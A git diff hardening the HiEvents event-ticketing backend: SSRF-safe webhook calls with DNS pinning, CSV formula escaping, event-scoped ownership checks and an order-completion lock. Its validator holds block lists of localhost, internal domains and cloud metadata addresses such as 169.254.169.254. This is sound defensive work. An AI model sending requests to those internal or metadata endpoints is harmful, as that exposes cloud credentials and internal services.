diff --git a/backend/app/Exceptions/UnsafeWebhookUrlException.php b/backend/app/Exceptions/UnsafeWebhookUrlException.php new file mode 100644 index 0000000000..a191dd413f --- /dev/null +++ b/backend/app/Exceptions/UnsafeWebhookUrlException.php @@ -0,0 +1,7 @@ +escaper ??= app(SpreadsheetFormulaEscaper::class); + + if ($this->escaper->isFormulaTrigger($value)) { + $cell->setValueExplicit($value, DataType::TYPE_STRING); + + return true; + } + + return parent::bindValue($cell, $value); + } +} diff --git a/backend/app/Http/Actions/Questions/CreateQuestionAction.php b/backend/app/Http/Actions/Questions/CreateQuestionAction.php index 7c65efc1b0..9964ccba50 100644 --- a/backend/app/Http/Actions/Questions/CreateQuestionAction.php +++ b/backend/app/Http/Actions/Questions/CreateQuestionAction.php @@ -9,7 +9,9 @@ use HiEvents\Resources\Question\QuestionResource; use HiEvents\Services\Application\Handlers\Question\CreateQuestionHandler; use HiEvents\Services\Application\Handlers\Question\DTO\UpsertQuestionDTO; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use Illuminate\Http\JsonResponse; +use Symfony\Component\HttpFoundation\Response; class CreateQuestionAction extends BaseAction { @@ -24,17 +26,24 @@ public function __invoke(UpsertQuestionRequest $request, int $eventId): JsonResp { $this->isActionAuthorized($eventId, EventDomainObject::class); - $question = $this->createQuestionHandler->handle(UpsertQuestionDTO::fromArray([ - 'title' => $request->input('title'), - 'type' => $request->input('type'), - 'required' => $request->boolean('required'), - 'options' => $request->input('options'), - 'event_id' => $eventId, - 'product_ids' => $request->input('product_ids'), - 'belongs_to' => $request->input('belongs_to'), - 'is_hidden' => $request->boolean('is_hidden'), - 'description' => $request->input('description'), - ])); + try { + $question = $this->createQuestionHandler->handle(UpsertQuestionDTO::fromArray([ + 'title' => $request->input('title'), + 'type' => $request->input('type'), + 'required' => $request->boolean('required'), + 'options' => $request->input('options'), + 'event_id' => $eventId, + 'product_ids' => $request->input('product_ids'), + 'belongs_to' => $request->input('belongs_to'), + 'is_hidden' => $request->boolean('is_hidden'), + 'description' => $request->input('description'), + ])); + } catch (UnrecognizedProductIdException $exception) { + return $this->errorResponse( + message: $exception->getMessage(), + statusCode: Response::HTTP_UNPROCESSABLE_ENTITY, + ); + } return $this->resourceResponse( resource: QuestionResource::class, diff --git a/backend/app/Http/Actions/Questions/EditQuestionAction.php b/backend/app/Http/Actions/Questions/EditQuestionAction.php index 847f4d0190..c7d27dcd6c 100644 --- a/backend/app/Http/Actions/Questions/EditQuestionAction.php +++ b/backend/app/Http/Actions/Questions/EditQuestionAction.php @@ -10,7 +10,9 @@ use HiEvents\Resources\Question\QuestionResource; use HiEvents\Services\Application\Handlers\Question\DTO\UpsertQuestionDTO; use HiEvents\Services\Application\Handlers\Question\EditQuestionHandler; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use Illuminate\Http\JsonResponse; +use Symfony\Component\HttpFoundation\Response; use Throwable; class EditQuestionAction extends BaseAction @@ -29,19 +31,26 @@ public function __invoke(UpsertQuestionRequest $request, int $eventId, int $ques { $this->isActionAuthorized($eventId, EventDomainObject::class); - $question = $this->editQuestionHandler->handle( - questionId: $questionId, - createQuestionDTO: UpsertQuestionDTO::fromArray([ - 'title' => $request->input('title'), - 'type' => QuestionTypeEnum::fromName($request->input('type')), - 'required' => $request->boolean('required'), - 'options' => $request->input('options'), - 'event_id' => $eventId, - 'product_ids' => $request->input('product_ids'), - 'is_hidden' => $request->boolean('is_hidden'), - 'belongs_to' => QuestionBelongsTo::fromName($request->input('belongs_to')), - 'description' => $request->input('description'), - ])); + try { + $question = $this->editQuestionHandler->handle( + questionId: $questionId, + createQuestionDTO: UpsertQuestionDTO::fromArray([ + 'title' => $request->input('title'), + 'type' => QuestionTypeEnum::fromName($request->input('type')), + 'required' => $request->boolean('required'), + 'options' => $request->input('options'), + 'event_id' => $eventId, + 'product_ids' => $request->input('product_ids'), + 'is_hidden' => $request->boolean('is_hidden'), + 'belongs_to' => QuestionBelongsTo::fromName($request->input('belongs_to')), + 'description' => $request->input('description'), + ])); + } catch (UnrecognizedProductIdException $exception) { + return $this->errorResponse( + message: $exception->getMessage(), + statusCode: Response::HTTP_UNPROCESSABLE_ENTITY, + ); + } return $this->resourceResponse(QuestionResource::class, $question); } diff --git a/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php b/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php index 9c3562403e..ba6ff1352e 100644 --- a/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php +++ b/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php @@ -9,6 +9,7 @@ use HiEvents\Services\Application\Handlers\Reports\DTO\GetOrganizerReportDTO; use HiEvents\Services\Application\Handlers\Reports\GetOrganizerReportHandler; use HiEvents\Services\Domain\Report\DTO\PaginatedReportDTO; +use HiEvents\Services\Infrastructure\Export\SpreadsheetFormulaEscaper; use Illuminate\Support\Carbon; use Illuminate\Validation\ValidationException; use Symfony\Component\HttpFoundation\StreamedResponse; @@ -18,7 +19,10 @@ class ExportOrganizerReportAction extends BaseAction { private const MAX_EXPORT_ROWS = 15000; - public function __construct(private readonly GetOrganizerReportHandler $reportHandler) {} + public function __construct( + private readonly GetOrganizerReportHandler $reportHandler, + private readonly SpreadsheetFormulaEscaper $formulaEscaper, + ) {} /** * @throws ValidationException @@ -60,7 +64,7 @@ public function __invoke(GetOrganizerReportRequest $request, int $organizerId, s foreach ($data as $row) { $csvRow = $this->formatRowForReportType($row, $reportType); - fputcsv($handle, $csvRow); + fputcsv($handle, $this->formulaEscaper->escapeRow($csvRow)); } fclose($handle); diff --git a/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php index 76d53b194a..f806c2db74 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchAttendeeWebhookJob +class DispatchAttendeeWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php index 056894bfbf..c42b916601 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchCheckInWebhookJob +class DispatchCheckInWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php index f81242762c..04ea72b04a 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchOrderWebhookJob +class DispatchOrderWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php index 2d2d7c0a00..df17869f29 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchProductWebhookJob +class DispatchProductWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Webhook/SecureCallWebhookJob.php b/backend/app/Jobs/Webhook/SecureCallWebhookJob.php new file mode 100644 index 0000000000..7e4557c698 --- /dev/null +++ b/backend/app/Jobs/Webhook/SecureCallWebhookJob.php @@ -0,0 +1,85 @@ +getClient(); + $validator = app(WebhookUrlValidator::class); + $url = $this->webhookUrl; + + for ($hop = 0; $hop <= self::MAX_REDIRECTS; $hop++) { + try { + $target = $validator->validate($url); + } catch (UnsafeWebhookUrlException $exception) { + throw new UnsafeWebhookUrlException($this->describeUrlFailure($exception)); + } + + $response = $client->request($this->httpVerb, $url, array_merge( + [ + 'timeout' => $this->requestTimeout, + 'verify' => $this->verifySsl, + 'headers' => $this->headers, + 'allow_redirects' => false, + 'curl' => [ + CURLOPT_RESOLVE => $target->toCurlResolveEntries(), + ], + 'on_stats' => function (TransferStats $stats) { + $this->transferStats = $stats; + }, + ], + $body, + is_null($this->proxy) ? [] : ['proxy' => $this->proxy], + is_null($this->cert) ? [] : ['cert' => [$this->cert, $this->certPassphrase]], + is_null($this->sslKey) ? [] : ['ssl_key' => [$this->sslKey, $this->sslKeyPassphrase]], + )); + + $location = $this->redirectLocation($response); + + if ($location === null) { + return $response; + } + + $url = (string) UriResolver::resolve(new Uri($url), new Uri($location)); + } + + throw new UnsafeWebhookUrlException( + __('The webhook URL exceeded the maximum number of redirects.') + ); + } + + private function describeUrlFailure(UnsafeWebhookUrlException $exception): string + { + return str_replace(':attribute', __('webhook URL'), $exception->getMessage()); + } + + private function redirectLocation(Response $response): ?string + { + if (! in_array($response->getStatusCode(), self::REDIRECT_STATUS_CODES, true)) { + return null; + } + + $location = trim($response->getHeaderLine('Location')); + + return $location === '' ? null : $location; + } +} diff --git a/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php b/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php index 391dc8bd71..6629a3bf5a 100644 --- a/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php +++ b/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php @@ -4,6 +4,7 @@ use HiEvents\DomainObjects\Enums\CapacityChangeDirection; use HiEvents\Events\CapacityChangedEvent; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Models\CapacityAssignment; use HiEvents\Repository\Interfaces\CapacityAssignmentRepositoryInterface; use HiEvents\Repository\Interfaces\ProductRepositoryInterface; @@ -17,9 +18,19 @@ public function __construct( private readonly DatabaseManager $databaseManager, ) {} + /** + * @throws ResourceNotFoundException + */ public function handle(int $id, int $eventId): void { - $capacityAssignment = $this->capacityAssignmentRepository->findById($id); + $capacityAssignment = $this->capacityAssignmentRepository->findFirstWhere([ + 'id' => $id, + 'event_id' => $eventId, + ]); + + if ($capacityAssignment === null) { + throw new ResourceNotFoundException(__('Capacity assignment not found')); + } $productIds = CapacityAssignment::find($id)?->products()->pluck('products.id')->toArray() ?? []; diff --git a/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php b/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php index 4647cac685..4f0fccd75d 100644 --- a/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php +++ b/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php @@ -79,6 +79,8 @@ public function handle(string $orderShortId, CompleteOrderDTO $orderData): Order $updatedOrder = DB::transaction(function () use ($orderData, $orderShortId, $eventSettings) { $orderDTO = $orderData->order; + DB::statement('SELECT pg_advisory_xact_lock(hashtext(?))', [$orderShortId]); + $order = $this->getOrder($orderShortId); $this->occurrenceStatusValidator->assertOrderOccurrencesArePurchasable($order); diff --git a/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php b/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php index ddd717760b..ef4a62fac6 100644 --- a/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php +++ b/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php @@ -3,6 +3,7 @@ namespace HiEvents\Services\Application\Handlers\Question; use HiEvents\Exceptions\CannotDeleteEntityException; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Repository\Interfaces\QuestionAnswerRepositoryInterface; use HiEvents\Repository\Interfaces\QuestionRepositoryInterface; use Illuminate\Database\DatabaseManager; @@ -18,6 +19,7 @@ public function __construct( /** * @throws CannotDeleteEntityException + * @throws ResourceNotFoundException * @throws Throwable */ public function handle(int $questionId, int $eventId): void @@ -29,9 +31,19 @@ public function handle(int $questionId, int $eventId): void /** * @throws CannotDeleteEntityException + * @throws ResourceNotFoundException */ private function deleteQuestion(int $questionId, int $eventId): void { + $existingQuestion = $this->questionRepository->findFirstWhere([ + 'id' => $questionId, + 'event_id' => $eventId, + ]); + + if ($existingQuestion === null) { + throw new ResourceNotFoundException(__('Question not found')); + } + $existingAnswers = $this->questionAnswersRepository->findWhere([ 'question_id' => $questionId, ]); diff --git a/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php b/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php index 1e4341e220..80e8d80ac2 100644 --- a/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php +++ b/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php @@ -5,6 +5,7 @@ use HiEvents\DomainObjects\CapacityAssignmentDomainObject; use HiEvents\DomainObjects\Enums\CapacityAssignmentAppliesTo; use HiEvents\DomainObjects\Generated\CapacityAssignmentDomainObjectAbstract; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Repository\Interfaces\CapacityAssignmentRepositoryInterface; use HiEvents\Services\Domain\Product\EventProductValidationService; use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; @@ -21,11 +22,21 @@ public function __construct( /** * @throws UnrecognizedProductIdException + * @throws ResourceNotFoundException */ public function updateCapacityAssignment( CapacityAssignmentDomainObject $capacityAssignment, ?array $productIds = null, ): CapacityAssignmentDomainObject { + $existingAssignment = $this->capacityAssignmentRepository->findFirstWhere([ + CapacityAssignmentDomainObjectAbstract::ID => $capacityAssignment->getId(), + CapacityAssignmentDomainObjectAbstract::EVENT_ID => $capacityAssignment->getEventId(), + ]); + + if ($existingAssignment === null) { + throw new ResourceNotFoundException(__('Capacity assignment not found')); + } + if ($productIds !== null) { $this->eventProductValidationService->validateProductIds($productIds, $capacityAssignment->getEventId()); } diff --git a/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php b/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php index ca39548bd1..1a8d5c0c11 100644 --- a/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php +++ b/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php @@ -4,6 +4,7 @@ use HiEvents\DomainObjects\CheckInListDomainObject; use HiEvents\DomainObjects\Generated\CheckInListDomainObjectAbstract; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Helper\DateHelper; use HiEvents\Repository\Interfaces\CheckInListRepositoryInterface; use HiEvents\Repository\Interfaces\EventRepositoryInterface; @@ -23,10 +24,20 @@ public function __construct( /** * @throws UnrecognizedProductIdException + * @throws ResourceNotFoundException */ public function updateCheckInList(CheckInListDomainObject $checkInList, array $productIds): CheckInListDomainObject { return $this->databaseManager->transaction(function () use ($checkInList, $productIds) { + $existingCheckInList = $this->checkInListRepository->findFirstWhere([ + CheckInListDomainObjectAbstract::ID => $checkInList->getId(), + CheckInListDomainObjectAbstract::EVENT_ID => $checkInList->getEventId(), + ]); + + if ($existingCheckInList === null) { + throw new ResourceNotFoundException(__('Check-in list not found')); + } + $this->eventProductValidationService->validateProductIds($productIds, $checkInList->getEventId()); $event = $this->eventRepository->findById($checkInList->getEventId()); diff --git a/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php b/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php index 9aae2937fc..deb583c503 100644 --- a/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php +++ b/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php @@ -389,6 +389,11 @@ private function validateSingleProductDetails(EventDomainObject $event, int $pro promoCode: $promoCode ); + $this->validateProductSaleWindow( + productIndex: $productIndex, + product: $product + ); + $this->validateProductQuantity( productIndex: $productIndex, productAndQuantities: $productAndQuantities, @@ -468,7 +473,7 @@ private function validateProductQuantity(int $productIndex, array $productAndQua throw ValidationException::withMessages([ "products.$productIndex" => __('The maximum number of products available for :products is :max', [ 'max' => $maxPerOrder, - 'product' => $product->getTitle(), + 'products' => $product->getTitle(), ]), ]); } @@ -490,6 +495,28 @@ private function validateProductEvent(EventDomainObject $event, int $productId, } } + /** + * @throws ValidationException + */ + private function validateProductSaleWindow(int $productIndex, ProductDomainObject $product): void + { + if ($product->isBeforeSaleStartDate()) { + throw ValidationException::withMessages([ + "products.$productIndex" => __(':product is not yet on sale', [ + 'product' => $product->getTitle(), + ]), + ]); + } + + if ($product->isAfterSaleEndDate()) { + throw ValidationException::withMessages([ + "products.$productIndex" => __('Sales for :product have ended', [ + 'product' => $product->getTitle(), + ]), + ]); + } + } + /** * @throws ValidationException */ @@ -558,7 +585,7 @@ private function validatePriceIdAndQuantity(int $productIndex, array $productAnd } $selectedPrice = $productPrices?->first(fn (ProductPriceDomainObject $price) => $price->getId() === $priceId); - if ((int) $quantity > 0 && $selectedPrice?->getIsHidden()) { + if ((int) $quantity > 0 && $this->isPriceUnavailable($selectedPrice)) { $errors["products.$productIndex.quantities.$quantityIndex.price_id"] = __('Invalid price ID'); } } @@ -568,6 +595,17 @@ private function validatePriceIdAndQuantity(int $productIndex, array $productAnd } } + private function isPriceUnavailable(?ProductPriceDomainObject $price): bool + { + if ($price === null) { + return true; + } + + return $price->getIsHidden() + || $price->isBeforeSaleStartDate() + || $price->isAfterSaleEndDate(); + } + /** * @throws ValidationException */ diff --git a/backend/app/Services/Domain/Question/CreateQuestionService.php b/backend/app/Services/Domain/Question/CreateQuestionService.php index ba35fb90d5..33a88f2a2f 100644 --- a/backend/app/Services/Domain/Question/CreateQuestionService.php +++ b/backend/app/Services/Domain/Question/CreateQuestionService.php @@ -5,6 +5,8 @@ use HiEvents\DomainObjects\Generated\QuestionDomainObjectAbstract; use HiEvents\DomainObjects\QuestionDomainObject; use HiEvents\Repository\Interfaces\QuestionRepositoryInterface; +use HiEvents\Services\Domain\Product\EventProductValidationService; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use HiEvents\Services\Infrastructure\HtmlPurifier\HtmlPurifierService; use Illuminate\Database\DatabaseManager; use Throwable; @@ -15,15 +17,19 @@ public function __construct( private readonly QuestionRepositoryInterface $questionRepository, private readonly DatabaseManager $databaseManager, private readonly HtmlPurifierService $purifier, + private readonly EventProductValidationService $eventProductValidationService, ) {} /** * @throws Throwable + * @throws UnrecognizedProductIdException */ public function createQuestion( QuestionDomainObject $question, array $productIds, ): QuestionDomainObject { + $this->eventProductValidationService->validateProductIds($productIds, $question->getEventId()); + return $this->databaseManager->transaction(fn () => $this->questionRepository->create([ QuestionDomainObjectAbstract::TITLE => $question->getTitle(), QuestionDomainObjectAbstract::EVENT_ID => $question->getEventId(), diff --git a/backend/app/Services/Domain/Question/EditQuestionService.php b/backend/app/Services/Domain/Question/EditQuestionService.php index e072804666..3ea88f7815 100644 --- a/backend/app/Services/Domain/Question/EditQuestionService.php +++ b/backend/app/Services/Domain/Question/EditQuestionService.php @@ -5,7 +5,10 @@ use HiEvents\DomainObjects\Generated\QuestionDomainObjectAbstract; use HiEvents\DomainObjects\ProductDomainObject; use HiEvents\DomainObjects\QuestionDomainObject; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Repository\Interfaces\QuestionRepositoryInterface; +use HiEvents\Services\Domain\Product\EventProductValidationService; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use HiEvents\Services\Infrastructure\HtmlPurifier\HtmlPurifierService; use Illuminate\Database\DatabaseManager; use Throwable; @@ -16,15 +19,29 @@ public function __construct( private readonly QuestionRepositoryInterface $questionRepository, private readonly DatabaseManager $databaseManager, private readonly HtmlPurifierService $purifier, + private readonly EventProductValidationService $eventProductValidationService, ) {} /** * @throws Throwable + * @throws UnrecognizedProductIdException + * @throws ResourceNotFoundException */ public function editQuestion( QuestionDomainObject $question, array $productIds, ): QuestionDomainObject { + $existingQuestion = $this->questionRepository->findFirstWhere([ + QuestionDomainObjectAbstract::ID => $question->getId(), + QuestionDomainObjectAbstract::EVENT_ID => $question->getEventId(), + ]); + + if ($existingQuestion === null) { + throw new ResourceNotFoundException(__('Question not found')); + } + + $this->eventProductValidationService->validateProductIds($productIds, $question->getEventId()); + return $this->databaseManager->transaction(function () use ($question, $productIds) { $this->questionRepository->updateQuestion( questionId: $question->getId(), diff --git a/backend/app/Services/Infrastructure/Export/SpreadsheetFormulaEscaper.php b/backend/app/Services/Infrastructure/Export/SpreadsheetFormulaEscaper.php new file mode 100644 index 0000000000..c62fabfde7 --- /dev/null +++ b/backend/app/Services/Infrastructure/Export/SpreadsheetFormulaEscaper.php @@ -0,0 +1,33 @@ +isFormulaTrigger($value) ? "'".$value : $value; + } + + /** + * @param array $row + * @return array + */ + public function escapeRow(array $row): array + { + return array_map(fn (mixed $value) => $this->escape($value), $row); + } +} diff --git a/backend/app/Services/Infrastructure/Webhook/DTO/WebhookTargetDTO.php b/backend/app/Services/Infrastructure/Webhook/DTO/WebhookTargetDTO.php new file mode 100644 index 0000000000..b9e0a44365 --- /dev/null +++ b/backend/app/Services/Infrastructure/Webhook/DTO/WebhookTargetDTO.php @@ -0,0 +1,30 @@ + */ + public array $ipAddresses, + ) {} + + /** + * @return array a single curl CURLOPT_RESOLVE entry pinning the host to every address validated here. + */ + public function toCurlResolveEntries(): array + { + $addresses = array_map( + fn (string $ipAddress) => str_contains($ipAddress, ':') ? '['.$ipAddress.']' : $ipAddress, + $this->ipAddresses, + ); + + return [sprintf('%s:%d:%s', $this->host, $this->port, implode(',', $addresses))]; + } +} diff --git a/backend/app/Services/Infrastructure/Webhook/WebhookUrlValidator.php b/backend/app/Services/Infrastructure/Webhook/WebhookUrlValidator.php new file mode 100644 index 0000000000..665d4176ab --- /dev/null +++ b/backend/app/Services/Infrastructure/Webhook/WebhookUrlValidator.php @@ -0,0 +1,245 @@ + 80, 'https' => 443]; + + private const BLOCKED_HOSTS = [ + 'localhost', + '127.0.0.1', + '::1', + '0.0.0.0', + ]; + + private const BLOCKED_TLDS = [ + '.localhost', + '.local', + '.internal', + '.intranet', + ]; + + private const CLOUD_METADATA_HOSTS = [ + '169.254.169.254', + 'metadata.google.internal', + 'metadata.goog', + ]; + + /** + * @throws UnsafeWebhookUrlException + */ + public function validate(string $url): WebhookTargetDTO + { + $parsedUrl = parse_url($url); + + if ($parsedUrl === false || ! isset($parsedUrl['host']) || $parsedUrl['host'] === '') { + throw new UnsafeWebhookUrlException(__('The :attribute must be a valid URL.')); + } + + $scheme = strtolower($parsedUrl['scheme'] ?? ''); + + if (! in_array($scheme, self::ALLOWED_SCHEMES, true)) { + throw new UnsafeWebhookUrlException(__('The :attribute must use http or https protocol.')); + } + + $host = $this->unwrapIpv6Literal(strtolower($parsedUrl['host'])); + $port = $parsedUrl['port'] ?? self::DEFAULT_PORTS[$scheme]; + + if ($this->isWhitelistedHost($host)) { + return new WebhookTargetDTO( + host: $host, + port: $port, + ipAddresses: $this->resolveHostAddresses($host), + ); + } + + if (in_array($host, self::BLOCKED_HOSTS, true)) { + throw new UnsafeWebhookUrlException(__('The :attribute cannot point to localhost or internal addresses.')); + } + + if ($this->hasBlockedTld($host)) { + throw new UnsafeWebhookUrlException(__('The :attribute cannot use reserved domain names.')); + } + + if ($this->isCloudMetadataHost($host)) { + throw new UnsafeWebhookUrlException(__('The :attribute cannot point to cloud metadata endpoints.')); + } + + $ipAddresses = $this->resolveHostAddresses($host); + + foreach ($ipAddresses as $ipAddress) { + if (! $this->isPubliclyRoutable($ipAddress)) { + throw new UnsafeWebhookUrlException( + __('The :attribute cannot point to private or internal IP addresses.') + ); + } + } + + return new WebhookTargetDTO( + host: $host, + port: $port, + ipAddresses: $ipAddresses, + ); + } + + /** + * @return array + * + * @throws UnsafeWebhookUrlException + */ + private function resolveHostAddresses(string $host): array + { + if (filter_var($host, FILTER_VALIDATE_IP)) { + return [$host]; + } + + $records = @dns_get_record($host, DNS_A | DNS_AAAA) ?: []; + + $addresses = []; + + foreach ($records as $record) { + $address = $record['ip'] ?? $record['ipv6'] ?? null; + + if ($address !== null && filter_var($address, FILTER_VALIDATE_IP)) { + $addresses[] = $address; + } + } + + if ($addresses === []) { + throw new UnsafeWebhookUrlException(__('The :attribute could not be resolved to a public address.')); + } + + return array_values(array_unique($addresses)); + } + + private function isPubliclyRoutable(string $ipAddress): bool + { + $normalised = $this->normaliseToRoutableIp($ipAddress); + + if (! filter_var($normalised, FILTER_VALIDATE_IP)) { + return false; + } + + if (filter_var($normalised, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { + return false; + } + + if (str_starts_with($normalised, '169.254.')) { + return false; + } + + $binary = @inet_pton($normalised); + + if ($binary !== false && strlen($binary) === 16) { + $firstByte = ord($binary[0]); + + if (($firstByte & 0xFE) === 0xFC) { + return false; + } + + if ($firstByte === 0xFE && (ord($binary[1]) & 0xC0) === 0x80) { + return false; + } + } + + return true; + } + + private function normaliseToRoutableIp(string $ipAddress): string + { + $binary = @inet_pton($ipAddress); + + if ($binary === false || strlen($binary) !== 16) { + return $ipAddress; + } + + $embeddedIpv4 = $this->extractEmbeddedIpv4($binary); + + return $embeddedIpv4 ?? $ipAddress; + } + + private function extractEmbeddedIpv4(string $binary): ?string + { + $ipv4MappedPrefix = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff"; + $nat64Prefix = "\x00\x64\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00"; + $teredoPrefix = "\x20\x01\x00\x00"; + $sixToFourPrefix = "\x20\x02"; + + if (str_starts_with($binary, $ipv4MappedPrefix) || str_starts_with($binary, $nat64Prefix)) { + return inet_ntop(substr($binary, 12)); + } + + if (str_starts_with($binary, $sixToFourPrefix)) { + return inet_ntop(substr($binary, 2, 4)); + } + + if (str_starts_with($binary, $teredoPrefix)) { + return inet_ntop(substr($binary, 12) ^ "\xff\xff\xff\xff"); + } + + if (str_starts_with($binary, str_repeat("\x00", 12)) && substr($binary, 12) !== "\x00\x00\x00\x00") { + return inet_ntop(substr($binary, 12)); + } + + return null; + } + + private function unwrapIpv6Literal(string $host): string + { + if (str_starts_with($host, '[') && str_ends_with($host, ']')) { + return substr($host, 1, -1); + } + + return $host; + } + + private function hasBlockedTld(string $host): bool + { + foreach (self::BLOCKED_TLDS as $tld) { + if (str_ends_with($host, $tld)) { + return true; + } + } + + return false; + } + + private function isCloudMetadataHost(string $host): bool + { + foreach (self::CLOUD_METADATA_HOSTS as $metadataHost) { + if ($host === $metadataHost || str_ends_with($host, '.'.$metadataHost)) { + return true; + } + } + + return false; + } + + private function isWhitelistedHost(string $host): bool + { + $whitelistedHosts = Config::string('app.allowed_internal_webhook_hosts'); + + if (empty($whitelistedHosts)) { + return false; + } + + $allowedList = array_filter(array_map('trim', explode(',', $whitelistedHosts))); + + if (in_array($host, $allowedList, true)) { + return true; + } + + $resolved = gethostbyname($host); + + return $resolved !== $host && in_array($resolved, $allowedList, true); + } +} diff --git a/backend/app/Validators/Rules/NoInternalUrlRule.php b/backend/app/Validators/Rules/NoInternalUrlRule.php index 4e156e109e..2e8ddeda1f 100644 --- a/backend/app/Validators/Rules/NoInternalUrlRule.php +++ b/backend/app/Validators/Rules/NoInternalUrlRule.php @@ -3,29 +3,15 @@ namespace HiEvents\Validators\Rules; use Closure; +use HiEvents\Exceptions\UnsafeWebhookUrlException; +use HiEvents\Services\Infrastructure\Webhook\WebhookUrlValidator; use Illuminate\Contracts\Validation\ValidationRule; -use Illuminate\Support\Facades\Config; class NoInternalUrlRule implements ValidationRule { - private const ALLOWED_SCHEMES = ['http', 'https']; - - private const BLOCKED_HOSTS = [ - 'localhost', - '127.0.0.1', - '::1', - '0.0.0.0', - ]; - - private const BLOCKED_TLDS = [ - '.localhost', - ]; - - private const CLOUD_METADATA_HOSTS = [ - '169.254.169.254', - 'metadata.google.internal', - 'metadata.goog', - ]; + public function __construct( + private readonly ?WebhookUrlValidator $validator = null, + ) {} public function validate(string $attribute, mixed $value, Closure $fail): void { @@ -35,143 +21,10 @@ public function validate(string $attribute, mixed $value, Closure $fail): void return; } - 